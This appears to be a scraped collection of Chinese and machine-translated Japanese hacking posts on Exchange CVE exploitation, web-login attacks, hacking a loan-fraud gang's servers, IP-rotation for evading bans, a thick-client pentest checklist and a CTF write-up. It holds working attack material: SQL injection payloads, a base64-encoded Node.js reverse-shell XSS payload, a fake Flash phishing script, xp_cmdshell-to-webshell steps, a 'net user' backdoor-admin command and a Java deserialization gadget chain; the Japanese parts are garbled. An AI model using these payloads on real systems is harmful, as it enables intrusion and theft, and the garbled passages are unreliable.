  • 首先,Exchange 允许任意用户(只要是通过了认证的)通过 EWS 接口来创建一个推送订阅(Push Subscription),并可以指定任意 URL 作为通知推送的目的地;
  • 其次,通知被订阅推送后,当触发推送时,Exchange 使用了 CredentialCache 类的 DefaultCredentials 属性,由于 EWS 以 SYSTEM 权限运行,当使用 DefaultCredentials 时发出的 HTTP 请求将使用该权限发起 NTLM 认证;
  • 在 EWS 请求中,通过在 Header 中使用 SerializedSecurityContext,指定 SID 可以实现身份伪装,从而以指定用户身份进行 EWS 调用操作。

也就是说【我们可以控制Exchange服务器向我们发起HTTP 协议的NTLM 请求,这样我们就能拿到Exchange机器用户的 Net-Ntlm Hash】

由于该漏洞利用涉及 NTLM 的重放攻击,一种很容易想到的思路就是将该凭证重放到域控机器。由于重放的 NTLM 凭证来自 Exchange 服务器的机器用户权限,根据Relay To LDAP一节的描述,我们知道Exchange机器用户具有write-acl权限,可以给任意用户提权,赋予Dcsync的权限,从而dump出所有密码哈希值。

服务端是否要求签名:

我们Relay到的服务端是Ldap,在前面【ldap签名】一节提到,Ldap服务器的默认策略是协商签名。是否签名是由客户端决定的。客户端分情况,如果是smb协议的话,默认要求签名的,如果是webadv或者http协议,是不要求签名的

在这个漏洞里面发起的请求是http协议,这也就意味着我们什么都不用做,在这个漏洞中并不要求签名。

EXP :

复现可以参考这篇文章:

CVE-2020-0688 (RCE)

漏洞描述:当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码,就可以在被攻击的exchange上执行任意代码,直接获取服务器权限。

利用条件:Exchange Server 2010 SP3/2013/2016/2019,普通账号。

攻击脚本:

复现:

https://www.anquanke.com/post/id/226543#h3-13

12.CVE-2020-17144 (RCE)

漏洞描述:远程攻击者通过构造特殊的cmdlet参数,绕过身份验证利用改漏洞可造成任意远程命令执行。

利用条件:Exchange2010,普通账号。

攻击脚本1:

攻击脚本2:

13.CVE-2020-16875 (RCE)

漏洞描述:远程攻击者通过构造特殊的cmdlet参数,可造成任意命令执行。

影响版本

Exchange Server 2016 CU17

Exchange Server 2016 CU16(已测)

Exchange Server 2019 CU5

Exchange Server 2019 CU6

利用条件:Exchange Server 2016/2019,普通账号。

攻击脚本:

复现:https://cloud.tencent.com/developer/article/1704777

14.CVE-2021-26855/CVE-2021-27065(getshell)(SSRF+任意文件写入)

Exchange ProxyLogon远程代码执行漏洞

漏洞概述:

CVE-2021-26855与CVE-2021-27065是微软在2021年3月2日发布的高危漏洞公告。这套组合拳被称为ProxyLogon,可直接获取目标邮件服务器主机权限。

CVE-2021-26855 SSRF 漏洞 ,该漏洞是Exchange中的服务端请求伪造漏洞(SSRF),利用此漏洞的攻击者能够发送任意HTTP请求并绕过Exchange Server身份验证,远程未授权的攻击者可以利用该漏洞以进行内网探测,并可以用于窃取用户邮箱的全部内容。

CVE-2021-27065 任意文件写入漏洞,该漏洞是Exchange中的任意文件写入漏洞。该漏洞需要进行身份认证,利用此漏洞可以将文件写入服务器上的任何路径。并可以结合利用CVE-2021-26855 SSRF漏洞可绕过权限认证进行文件写入。

影响范围:

Exchange Server 2019 < 15.02.0792.010

Exchange Server 2019 < 15.02.0721.013

Exchange Server 2016 < 15.01.2106.013

Exchange Server 2013 < 15.00.1497.012

利用原理:

通过ssrf漏洞读取到邮箱用户的SID——>通过有效SID结合任意文件写入漏洞上传以.aspx结尾的文件,在其中插入一句话木马——>造成交互式shell。

利用条件:

需要邮箱用户名称

该漏洞不同于以往的 exchange 漏洞,此漏洞并不需要一个可登录的用户身份,可以在未授权的情况下获取内部用户资源,配合 CVE-2021-27065 可以实现远程命令执行。

漏洞触发必要条件

  • 目标服务器存在漏洞
  • 目标 exchange 服务器必须为负载均衡服务器,即同时使用两台及以上服务器
  • 目标邮箱地址,注意,该地址需要为域内邮件地址而非邮箱地址,二者存在差异
  • 攻击者还必须标识内部Exchange服务器的完全限定域名(FQDN)

以上四项中,FQDN 可以通过 ntlm type2 消息抓取;邮件地址可以直接枚举。

利用CVE-2021-26855 SSRF漏洞枚举邮箱:

(工具:https://github.com/charlottelatest/CVE-2021-26855)

因为我们通过nmap获取了域名。user.txt里面为我们加入的邮箱名字典

go run CVE-2021-26855.go -h 192.168.110.152 -U user.txt

利用方式:

复现:

https://blog.csdn.net/qq_44159028/article/details/123825115

分析与复现:

https://www.anquanke.com/post/id/259902

15.CVE-2021-34473 (RCE) (SSRF)

Exchange ProxyShell SSRF

漏洞描述:

攻击者利用该漏洞可绕过相关权限验证,进而配合其他漏洞可执行任意代码,控制Microsoft Exchange Server。

ProxyShell攻击链利用使用了以下漏洞:

CVE-2021-34473 Microsoft Exchange ACL绕过漏洞

CVE-2021-34523 Microsoft Exchange权限提升漏洞

CVE-2021-31207 Microsoft Exchange授权任意文件写入漏洞

微软官方于 2021年4月已发布相关补丁,2021年7月发布漏洞通告,可前往微软官方下载相应补丁进行更新:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473

影响版本

Microsoft Exchange Server 2010

Microsoft Exchange Server 2013

Microsoft Exchange Server 2016

Microsoft Exchange Server 2019

利用条件:

仅仅需要邮箱用户名称(用户名即可))

利用方法:

复现:

https://www.cnblogs.com/colin-B/p/15783751.html

https://blog.csdn.net/qq_40989258/article/details/119750829

16.CVE-2022-41028(RCE)

Microsoft Exchange Server 存在远程代码执行漏洞,经过身份验证的攻击者可利用此漏洞在目标系统上执行任意代码。




原文连接:https://github.com/HackingCost/AD_Pentest

作者:HackingCost

在渗透测试过程中,碰见的web登录页面特别多,那么我们应该用什么样的思路去进行一个测试呢,下面看看我的一些测试师思路ba


测试思路

当看见一个这样的web登录框时,会怎么样进行一个渗透呢

njgyxsbbbxn15111.jpg

弱口令

我们可以看见 这个登录时并没有存在一个验证码,就会存在一个爆破问题 那么一般爆破的用户名又会存在那些呢

1.admin
2.test
3.root

这里也可以去查找对应系统的的操作手测,收集管理账号,增加爆破机率

在这里进行了爆破,并没有结果


目录扫描

我们可以去扫描目录 可能一些被扫描出来的目录未做鉴权 可直接访问

jodxygj0dhg15113.png


JS文件未授权

上面方法都无果后,我们接下来去看下JS文件

发现在index.js中存在一个/SystemMng/Index的url

我们尝试拼接访问

ncdi4ufubnq15115.jpg

拼接进来后 发现什么都没有 是不是准备放弃了

dthbggvsktz15117.jpg

别急 我们再看看JS 是不是发现惊喜了

dqggfl05ttx15118.jpg

拼接几个危害都挺大的 拿个可以继续利用的给大家

oixxzwt5nir15121.jpg


组合拳弱口令爆破

到这里我们拿到了管理员的账号以及电话了,也可以直接重置他们密码了(拿正确的账号再去尝试爆破)

可以看见 password被加密了 发现为m5 我们利用burp自带的转码爆破即可

ihypxsvk5cy15123.jpg

爆破成功 账号比较复杂 在没前面的操作下拿不到用户名

zgwmvoc04ph15126.jpg

登录成功

yd214qijv5p15128.jpg


登录返回包测试

随意输入登录的账号密码登录抓包

修改他的鉴权数据后

g2peiydaj3r15131.jpg

修改后发现跳转的还无数据 JS中还是存在泄露

4ijyhjbzv0s15133.jpg


利用方法一样


越权

现在已经拿到了普通用户的账号密码了,那我们后面应该去尝试一个越权 垂直越权 或者 平行越权

拿爆破的号进行登录抓包处理,这个地方师傅们在挖掘的时候可以多看几遍数据包以及返回包

开始在构造时 以为是校验ID 后面多测试几轮下来,发现只会去识别code参数

2arn2scvvtl15134.jpg

从未授权到拿到网站的所有权限

s2kw24gd1h115135.jpg


原文连接: https://xz.aliyun.com/t/11612

0x00概要

ある日、オンラインの友人が著者に彼がだまされたと語った。だまされる方法はユニークです。私にはお金がないので、私は融資を受けることを選択し、ローンプロセス中に悲劇的に詐欺されました。

詐欺テキストメッセージ:图片

0x01詐欺プロセス

(ここの犠牲者はXiaohuiに置き換えられます)

ある日、Xiaohuiは携帯電話でオンラインローンに関するテキストメッセージを受け取りました。それはたまたま月末であり、厳しい位置にいました。 Xiaohuiは、アプリをダウンロードして開く誘惑をかけずにはいられませんでした。良いアカウントを登録し、ID番号、ハンドヘルド、作業場所、家族情報などを記入した後、私は20,000元ローンを申請しましたが、長い間受け取っていません。 Xiaohuiはカスタマーサービスに尋ねて学んだ。支払い後、VIP料金はローン額とともに銀行カード口座に転送されます。 Xiaohuiはそれについて考え、お金を失わなかったので、彼は来月家賃のVIP治療を開いた。

XiaohuiはVIP治療を開始し、月末までローンを取得できると考えていましたが、それでも彼はローン額とVIP料金を受け取りませんでした。今回、カスタマーサービスはXiaohuiに連絡するためのイニシアチブを取りました。返済能力を証明するために現金を支払ってください。支払い後、料金はローン額とともに銀行カード口座に転送されます。

Xiaohuiは不安でした。来月は家賃がなくなったことを見て、彼は歯を食いしばり、友人から3,500元を借りて、顧客サービスが再び提供した銀行カード番号を呼びました。彼は、今回は言い訳がないと思った! 20,000元、あなたに持ってきてください! Xiaohuiは、20,000元のローンの後、食べたり、飲んだり、楽しんだりする方法についてすでに考えています~~

しかし、運の女神はまだXiaohuiの世話をしていませんでした。カスタマーサービスは再びXiaohuiに連絡し、承認は正常に承認され、支払いが支払われようとしていると述べましたが、費用はまだ3,000元であり、費用はローン額とともに銀行カード口座に転送されます。 Xiaohuiはun然としました。次に、カスタマーサービスは、バックグラウンドによって生成された偽の契約をXiaohuiに送信しました。

图片

Xiaohuiは不安で、融資を受けましたが、彼は数千元を失い、信用報告書に行かなければなりませんでした。キーローンはまだ取得されていません!問題が悪化しているのを見て、Xiaohuiは私を見つけました。 Xiaohuiの説明の後、私はXiaohuiの携帯電話のローンソフトウェアをチェックし、Xiaohuiにあなたがだまされたことを無力に伝え、お金は返されないことを伝えました。 Xiaohuiもこの瞬間にst然とし、後悔の涙を流しました.

PS:上記は詐欺の実際のプロセスにすぎず、すべてのナレーションが私の火に追加されます。著者はまた、市場での2つの一般的な詐欺ソースコードを簡単に分析および記録しました。

0x02脆弱性分析

1。ソースコードの脆弱性分析の最初のセット

(1)thinkphp logリーク图片

ThinkPhp3.2.3の開発、フロントエンドおよびバックエンド分離图片に基づいています

デバッグはデフォルトで有効になり、漏れたログSQL情報を引き起こし、例外キャッシュ图片コンストラクトペイロード:App/Runtime/Logs/21_10_16.log

图片

リークされた管理者テーブルアカウントのパスワードを取得し、背景图片 图片を入力します

(2)配列は制御可能であるため、RCEアップロード可能なファイル名がデータパケットに直接持ち込まれます图片

ここでは、バックエンドが配列内のファイル名を制御すると推測されます(この推測がウェブシェルを取得した後に正しいことも証明しています)

アップロード可能なファイル名をPHPに追加し、アップロードしてWebShellを取得する

対応する構成ファイルを確認し、アップロード可能な接尾辞名が配列にあることを確認します。ここでは、閉じたアレイを挿入して图片を使用することもできます

ペイロード:sitename=11111 ')。phpinfo(); //

图片

返品配列、文字列コンカテネーター 'のために、バックエンドがどのように処理するかを見てみましょう。图片を追加する必要があります

バックグラウンドにログインして、ペイロードが実行されているかどうかを確認します图片

2。ソースコードの脆弱性分析の2番目のセット

(1)カスタマーサービスオフィスWebSocket-XSS著者の機能は限られています。 2番目の不正ローンソースコードのセットは、ワンクリックで構築されていると疑われます。それらはすべて、Baota + Baota FreeバージョンWAFの最新バージョンを使用しています。

フロントデスク:图片

カスタマーサービスの入り口を見つけて画像をアップロードすると、WebSocketからアップロードされたデータパッケージに転送されます

WebSocketパケットを変更し、XSS 图片 图片を構築します

クッキーは图片を取得します

3。カスタマーサービスシステムコントロール/PCコントロール

3.1制御データベース

MySQLデータベースにログインして、詐欺容疑者ログインIP图片を表示する

杭州の通信基地局の動的IPは、ホームルートであると判断されており、トレーサビリティ値はまだありません。图片

0x03制御カスタマーサービスシステム

詐欺ソースコードカスタマーサービスシステムの最初のセットは、オンラインオンラインカスタマーサービスシステム图片を使用しています

バックグラウンドでカスタマーサービスのバックグラウンドログインアドレスに反転しました。フロントエンドは、アカウントのパスワードにエラーがあることを示しましたが、アカウントは正常に爆発しませんでした。图片

その後、作者はカスタマーサービスシステムを登録し、AdminidとUIDを介してSetCookiesを横断し、彼の権限を超えてカスタマーサービスアカウントを取得しました。

图片

中国語アカウント==图片

ブラスト图片のパスワードを取得します

カスタマーサービスの背景にログインします

不正戦術チェーン全体图片

犠牲者とのチャット履歴

图片 图片

0x04フラッシュフィッシングを使用します

詐欺アプリのサーバー許可を制御した後、著者はフラッシュフィッシングを使用して、詐欺ギャングの個人PCを制御しようとしました。

バックグラウンドでログインが成功した後にジャンプするファイルが挿入され、事前に準備された偽のフラッシュ更新ページにジャンプします

事前に準備する:馬を殺さずに偽のフラッシュドメイン名(できれば「フラッシュ」という言葉を含む)

scriptwindow.alert=function(name){var iframe=document.createelment( 'iframe'); iframe.style.display='none'; iframe.setattribute( 'src'、 'data:text/plain、'); document.documentelement.appendchild(iframe); window.frames [0] .window.alert(name); iframe.parentnode.removechild(iframe);}; alert( 'flashバージョンは低すぎます。 it! '); window.location.href=' https://www.flashxxxx.com ';/スクリプト効果:

アカウントのパスワードを入力してログインします。この時点で、上記のJavaScriptをロードします。图片

[確認]をクリックして、事前に作成されたフラッシュ更新ページのWebサイトにジャンプして、ダウンロードクリックを誘導します。图片

しかし、最終的には起動されませんでした。ログを通して、詐欺ギャングがバックエンドにログインしたことがわかりました。これは少し後悔です。

0x05要約

オンラインローン詐欺事件の典型的な機能は、容疑者が「住宅ローンとレビューなし」の仕掛けの下で融資を必要とする被害者を募集し、「アカウントの凍結と未凍結」の名前で貸付を募集して、融資を完了するために預金を集め、その後、保険料の名の下で犠牲を払って請求します。容疑者が被害者のために設計したプロセス全体で、被害者のお金がだまされました。緊急にお金を必要とする自営業の個人、高度な消費概念を持つオフィスワーカー、大学生、その他のグループは詐欺に対して脆弱です。

詐欺師は、罪深い手を香港、台湾、または海外にまで伸ばすだけではありません.

分析によると、この詐欺ギャングのグループもブラジルで同じ不正行為を犯し、使用された詐欺ソースコードは上記の最初のソースコードのセットです。

ブラジルの图片500以上の犠牲者。

图片

图片

天国のネットは漏れなく広大でまばらです!悪を犯すすべての人は、法律によって厳しく罰せられるでしょう!

元のリンクで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na==mid=22475021666666666666666666666666666666666975DD185B3CCKCHKSM=CE6463CFF9 13EAD9C3A448D74666B7C38ED593A70991826528387AD4BB787292BDD2979E7D64SCENE=21#WECHAT_REDIRECThttps://XZ.ALIYUN.COM/T/10391

利用Python脚本自动生成Clash配置文件,实现FUZZ自动切换IP。现在蓝狗封IP速度太快了,想想当年自己用Burp爆破封堵IP的日子就想哭。
不要问我为啥不用飞鱼,太贵了

0x00 购买IP地址池

推荐余额套餐的方式进行购买,该脚本配合余额支付更划算。
http://http.py.cn/pay/?paytype=banlance

0x01  获取API接口

购买套餐后,选择》API提取》直接提取,推荐配置如下:

  • 1.余额提取。
  • 2.使用时长按需选择,建议选择25分钟-180分钟。
  • 3.提取数量建议为5-10,土豪随意。
  • 4.建议省份混拨,并选择自己所在省份或临近省份,提高访问速度。
  • 5.目前该代理协议仅支持SOKCS5连接。
  • 6.数据格式选择Json格式,方便脚本解析。
  • 7.选择属性全部勾选,否则会发生错误。
  • 8.IP去重365天。

image

0x02  部署说明

将Auto_proxy代码(Auto_proxy_example.yaml, Auto_proxy.py, proxyIgnoreList.plist )拷贝到Clash配置文件目录下。

  • Windows默认:Clash\Data\profiles\
  • Mac默认:~/.config/clash/

image

修改Auto_proxy.py相关配置,主要参数如下。

  • test_url:需要监控测试的IP地址。
  • py_api:上一步获取的品易API接口。
  • max_connect_error:错误连接次数,连续连接错误N次,重新获取代理。

image

白名单配置,可参考https://www.cnblogs.com/PowerTips/p/14775956.html

  • Windows:在Auto_proxy_example.yaml添加cfw-bypass配置。
  • Mac: 直接使用项目中proxyIgnoreList.plist即可,需重启生效。

注:务必将*.taolop.com加入白名单中,不然可能会导致代理失效一直重复获取代理。

0x03 使用说明

在Clash目录下执行python3 Auto_proxy.py,同时Clash将配置选为Auto_proxy。

image

需将Clash配置为全局模式,同时设置系统代理,目前脚本设置两种规则:

  • 加速模式:根据监控网站选择延迟最低的代理。
  • 负载模式:每次请求都会随机一条代理进行连接。

image

负载模式运行效果:

image

当运行错误超出设置阀值,会进行提示“IP已被封禁,重新获取代理”,此时Clash提示“重载配置文件”,需手动点击更新。

image

0x05 使用效果

该效果模式为负载模式,测试Dirsearch, 其它工具请自行测试。

  • 靶机端: python3 -m http.server 8000
  • 攻击端: python3 dirsearch.py -u http://X.X.X.X:8000 --proxy=http://127.0.0.1:7890

image

同时10个IP爆破目录,就问你慌不慌!

0x00 前言

本项目主要针对pc客户端(cs架构)渗透测试,结合自身测试经验和网络资料形成checklist,如有任何问题,欢迎联系,期待大家贡献更多的技巧和案例。

0x01 概述

PC客户端,有丰富功能的GUI,C-S架构。

uvugc53qdfq15184.jpg

0x02 开发语言

C#(.NET),JAVA,DELPHI,C,C++......


0x03 协议

TCP、HTTP(S),TDS......


0x04 数据库

oracle,mssql,db2......

0x05 测试工具

//相关工具下载:https://github.com/theLSA/hack-cs-tools

dvta: pc客户端靶场

ida pro: 静态分析工具

ollydbg:动态分析工具

CFF Explorer:PE文件分析

PEID:查壳工具

exeinfope/studype:pe文件分析

wireshark:观察流量

tcpview:观察tcp流量

echo Mirage:可拦截tcp流量

burpsuite:http(s)抓包

proxifier:全局代理流量

procmon:文件和注册表监控

regshot:注册表变化对比

process Hacker:进程分析

RegfromApp:注册表监控

WSExplorer:岁月联盟进程抓包工具

strings:查看程序的字符串

.net[反]编译:

dotpeek

de4dot

dnspy

ilspy

sae

ildasm

ilasm

Java反编译

jad

jd-gui

jadx

dex2jar

在线版:
javare.cn

www.javadecompilers.com


Reflexil:组装编辑器(可以作为ilspy插件)

Vcg:自动化代码审计工具

BinScope:二进制分析工具

0x06 代理设置

大部分客户端没有代理配置功能,需要自行设置全局代理,如下两种方法:

1)IE-internet设置-连接-局域网设置。

2)proxifier --> proxy server/proxification rules

//http的流量可以结合burpsuite方便测试(proxy server设置为burp代理地址)。

lw1qyv452cs15185.jpg4cigiht3s1315186.jpgajoquld1q3q15187.jpg

0x07 测试点

0. 信息收集

编译信息,开发环境/语言,使用协议,数据库,ip,混淆/加密,是否加壳等。


案例0-CFF查看客户端信息(如编译环境)

dvta

xpshzcpfkya15188.jpg

1. 逆向工程

反编译,源代码泄露,硬编码key/password,加解密逻辑,角色判断逻辑(0-admin,1-normaluser),后门等。

案例0-反编译获取加解密逻辑并编写解密工具

dvta

lkv2ag3gi5t15189.jpg通过该逻辑和获取的信息dydcj1gpjz215190.jpg

Encrypted Text: CTsvjZ0jQghXYWbSRcPxpQ==

AES KEY: J8gLXc454o5tW2HEF7HahcXPufj9v8k8

IV: fq20T0gMnXa6g0l4

编写解密工具

using System; using System.Collections.Generic; using System.ComponentModel; using System.Data;

using System.Drawing;

using System.Linq;

using System.Text;

using System.Threading.Tasks;

using System.Windows.Forms;

using System.Security.Cryptography;

namespace aesdecrypt

{

 public partial class aesdecrypt : Form

 {

 public aesdecrypt()

 {

 InitializeComponent();

 }

 private void decrypt(object sender, EventArgs e)

 {

 String key = “J8gLXc454o5tW2HEF7HahcXPufj9v8k8”;

 String IV = “fq20T0gMnXa6g0l4”;

 String encryptedtext = “CTsvjZ0jQghXYWbSRcPxpQ==”;

 byte[] encryptedBytes = Convert.FromBase64String(encryptedtext);

 AesCryptoServiceProvider aes = new AesCryptoServiceProvider();

 aes.BlockSize = 128;

 aes.KeySize = 256;

 aes.Key = System.Text.ASCIIEncoding.ASCII.GetBytes(key);

 aes.IV = System.Text.ASCIIEncoding.ASCII.GetBytes(IV);

 aes.Padding = PaddingMode.PKCS7;

 aes.Mode = CipherMode.CBC;

 ICryptoTransform crypto = aes.CreateDecryptor(aes.Key, aes.IV);

 byte[] decryptedbytes = crypto.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length);

 String decryptedString = System.Text.ASCIIEncoding.ASCII.GetString(decryptedbytes);

 Console.WriteLine(“\n”);

 Console.WriteLine(“##########Decryptig Database password##########\n”);

 Console.WriteLine(“Decrypted Database password:” + decryptedString+”\n”);

 Console.WriteLine(“##########Done##########\n”);

 }

 }

}

//解密代码源自https://resources.infosecinstitute.com/damn-vulnerable-thick-client-app-part-5/#article


案例1-反编译修改代码逻辑让普通用户以管理员登录

dvta

1-Isadmin

0-Normaluser

改1为0即可判断为admin

dwqxhbjpaij15191.jpgt00k3imh1ze15192.jpg

2. 信息泄露

明文敏感信息,敏感文件(如安装目录下的xxx.config)。

注册表:利用regshot比较客户端运行(如登录)前后注册表差别。

开发调试日志泄露(如dvta.exe >> log.txt)

process hacker查看客户端内存中的明文敏感数据(如账号密码/key)。

strings直接查看客户端字符串(如ip信息)。

查看源代码(如github,gitee等)


案例0-配置敏感信息泄露

dvta

3okk5jvqivq15193.jpg


案例1-内存泄露数据库账号密码

dvta

bci5kvhk5h415194.jpg


案例2-源代码含有硬编码ftp账号密码

dvta

vvmjhhp0coa15195.jpg

案例3-开发调试日志泄露

dvta

gow1qjc5p2n15196.jpg
案例4-某系统登录后本地保存账号密码tilhlm5qps215197.jpg//本案例来源于https://blog.csdn.net/weixin_30685047/article/details/95916065

3. 传输流量

wireshark/echo Mirage/burpsuite+nopeproxy/fillder/charles

ftp等协议明文传输的账号密码

SQL语句明文传输(如利用构造注入,越权等)


案例0-正方教务系统sql语句明文传输,返回明文数据

kqrzdexbekc15198.jpgcfsdsxfbdvb15199.jpg

//本案例来源于wooyu


案例1-某系统登录处数据包返回数据库帐号密码

3olpw1gu2tw15200.jpg

4. 其他漏洞

用户名枚举

案例0

wos1yaexzxx15201.jpgqiz1oeuk1o115202.jpg

暴力破解

如登录功能。

案例0

jmpjlppkrjn15203.jpg

弱口令

可尝试admin 123456等。

密码明文传输


SQL语句暴露

案例0

hvwshywnhl215204.jpg案例14kjxxjkrvck15205.jpg

SQL注入

如登录处,万能密码

xxx’ or ‘x’=’x

xxx’ or 1=1--

输入框处,构造闭合报错,如’、’)、%’)、order by 100--等。

利用显示位或报错注出数据,原理同web注入,不同数据库大同小异。


案例0-oracle注入

' union select null,null,(select user from dual),null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--

fskpmnkf4re15206.jpg

案例1-mssql注入

111') and (select user)>0--


s1vt2uu5r2z15207.jpg

CSV注入

如导出excel,输入1+1,导出后看是否为2。

XSS

如Electron,NodeWebKit等。


案例0-中国蚁剑xss到rce

环境:win7+phpstudy(php5.6.27-nts)+perl+nc+antsword2.0.5

xss webshell:

<?php

header('HTTP/1.1 500 <img src=# onerror=alertx>');

cigbafvjibp15208.jpg

windows+node.js:

成功

var net = require("net"), sh = require("child_process").exec("cmd.exe");

var client = new net.Socket();

client.connect(6677, "127.0.0.1", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);

sh.stderr.pipe(client);});

<?php

header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg2Njc3LCAiMTI3LjAuMC4xIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsKc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=,base64).toString())'>");

b2fiugzmtos15210.jpg

相关参考

https://www.anquanke.com/post/id/176379

命令执行

案例0-印象笔记windows客户端6.15本地文件读取和远程命令执行

http://blog.knownsec.com/2018/11/%E5%8D%B0%E8%B1%A1%E7%AC%94%E8%AE%B0-windows-%E5%AE%A2%E6%88%B7%E7%AB%AF-6-15-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E5%92%8C%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/

案例1-某云pc客户端命令执行挖掘过程

https://www.secpulse.com/archives/53852.html

案例2-金山WPS Mail邮件客户端远程命令执行漏洞(Mozilla系XUL程序利用技巧)

https://shuimugan.com/bug/view?bug_no=193117


测试点同web。


DLL劫持

Linux文件搜索顺序:

  1. 当前目录
  2. PATH顺序值目录

程序搜索Dll顺序:

//没提供绝对路径

1.应用程序加载的目录。

2.当前目录。

3.系统目录 (C:\Windows\System32\)。

4.16位的系统目录。

5.Windows目录。

6.PATH变量的目录。

程序可以加载攻击者放置的恶意dll。

利用procmon搜索程序加载的dll,观察name not found。

msf生成恶意dll放置于程序加载位置,运行程序即可触发payload。


案例0-dll劫持

dvta

wibpgrwt50v15211.jpglkbyla4bdhg15212.jpg

逻辑缺陷

测试点同web。

授权认证缺陷

注册表键值,授权服务器返回信息构造。

相关参考

https://cloud.tencent.com/developer/article/1430899

未授权


案例0-正方教务系统数据库任意操作

知道ip即可接管数据库

vajzfh2zqxm15213.jpg

//本案例来源于wooyun

越权

溢出

0x08 相关技巧

  1. 利用procexp --> properties --> tcp/ip 可以查看该客户端发起的网络连接,从而快速确定服务端地址
  2. wireshark直接过滤出服务器或数据库的ip或协议方便查看,如

ip.addr == 1.2.3.4&&http

  1. 如果有数据库账号,可以用数据库监控sql语句操作(如sql server profiler)。


0x09 参考资料&&相关资源

https://resources.infosecinstitute.com


脆弱性のあるQPバックグラウンドフレームワークのある背景を見つけました

图片

このフレームワークには、ユーザートラバーサルなど、多くの抜け穴があります。既存のユーザーを入力した場合、パスワードが正しくない場合、パスワードが正しくない場合にユーザーまたはパスワードにプロンプトが表示されます。存在しないユーザーを入力すると、ユーザーが存在しないように促します。

さらに、WebサイトにはSQLインジェクションの脆弱性があります。アカウントのパスワードを送信するために、投稿パッケージをつかむだけです。

图片

TXTドキュメントを貼り付けて、sqlmapに投げます。

图片

それはMSSQLです、XP_CMDSHELLを有効にすることができます。ここではWebShellに書き込む予定です。

图片

次に、XP_CMDSHELLを使用してWebShellに書き込みます

图片が正常に起動されました

それから私は次の操作のためにCSにオンラインに行くことを計画し、ウェブ配信を試みましたが、キラーによって停止されました

图片

それは非常に迷惑です、私は殺すことなくオンラインにしようとする方法はありません。ここで使用する方法は、殺すことなく分離することです。

图片

ペイロードを生成し、シェルローダーを書き、Base64でコンパイルします。

シェルコードをVPSに置きます

图片

シェルローダーをターゲットにアップロードします

图片

1、2、3はオンラインです!

图片

そうです、低電力のユーザーは何度もパワーをエスカレートしようとすることに成功しませんでしたが、最終的にはSweetpotatoが勝ちました

图片

私のお気に入りのシステムを入手してください

ユーザーを追加します

ネットユーザー管理者$ admin @123 /追加して管理者グループに追加

ネットLocalGroup管理者は、直接3389接続をテスト /追加します

图片

私はもともと、FSCANでリモートデスクトップをスキャンする予定でしたが、イントラネットのIPは通常とは異なることがわかりました。スキャン後、私は多くのホストが登場したことがわかったので、これはVPSであると判断したので、それがなるまで侵入しました。

元のリンクから転載:https://mp.weixin.qq.com/s/ch3zciluppz8tjcjttwarq

HireHackking

祥云杯2022 writeup

0x01 web

1.ezjava

下载源码对jar文件进行反编译,发现POST /myTest会出现反序列化漏洞

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302033773.png

util ,最后好像没用到

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302034773.png

检查程序,发现apachecommoncollections4,而且其反序列化利用类未被Patch

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302034341.png

一眼看到 commons-collection4-4.0, 于是直接用 ysoserial 打

考点发现就是 cc4

附上文章

外加springech 网上有现成的 poc

造轮子! :

package moe.orangemc; 
 
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 
import javassist.ClassPool; 
import javassist.CtClass; 
import org.apache.commons.collections4.Transformer; 
import org.apache.commons.collections4.comparators.TransformingComparator; 
import org.apache.commons.collections4.functors.ChainedTransformer; 
import org.apache.commons.collections4.functors.ConstantTransformer; 
import org.apache.commons.collections4.functors.InstantiateTransformer; 
 
import javax.xml.transform.Templates; 
import java.io.ByteArrayInputStream; 
import java.io.ByteArrayOutputStream; 
import java.io.ObjectInputStream; 
import java.io.ObjectOutputStream; 
import java.lang.reflect.Field; 
import java.util.Base64; 
import java.util.PriorityQueue; 
 
public class Main { 
    public static void main(String[] args) { 
        try { 
            ClassPool classPool = ClassPool.getDefault(); 
            CtClass ctClass = classPool.getCtClass("Meow"); 
            byte[] bytes = ctClass.toBytecode(); 
            TemplatesImpl templates = new TemplatesImpl(); 
            Field f1 = templates.getClass().getDeclaredField("_name"); 
            Field f2 = templates.getClass().getDeclaredField("_bytecodes"); 
            f1.setAccessible(true); 
            f2.setAccessible(true); 
            f1.set(templates, "Meow"); 
            f2.set(templates, new byte[][]{bytes}); 
            Transformer<Class<?>, Object> chainedTransformer = new ChainedTransformer(new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})); 
            TransformingComparator<Class<?>, Object> transformingComparator = new TransformingComparator<>(chainedTransformer); 
            PriorityQueue<Integer> queue = new PriorityQueue<>(2); 
            queue.add(1); 
            queue.add(1); 
            Field f = queue.getClass().getDeclaredField("comparator"); 
            f.setAccessible(true); 
            f.set(queue, transformingComparator); 
            Field f3 = queue.getClass().getDeclaredField("queue"); 
            f3.setAccessible(true); 
            f3.set(queue, new Object[] {chainedTransformer, chainedTransformer}); 
 
            ByteArrayOutputStream baos = new ByteArrayOutputStream(); 
            ObjectOutputStream oos = new ObjectOutputStream(baos); 
            oos.writeObject(queue); 
            oos.close(); 
            String result = new String(Base64.getEncoder().encode(baos.toByteArray())); 
            System.out.println(result); 
        } catch (Exception e) { 
            e.printStackTrace(); 
        } 
    } 
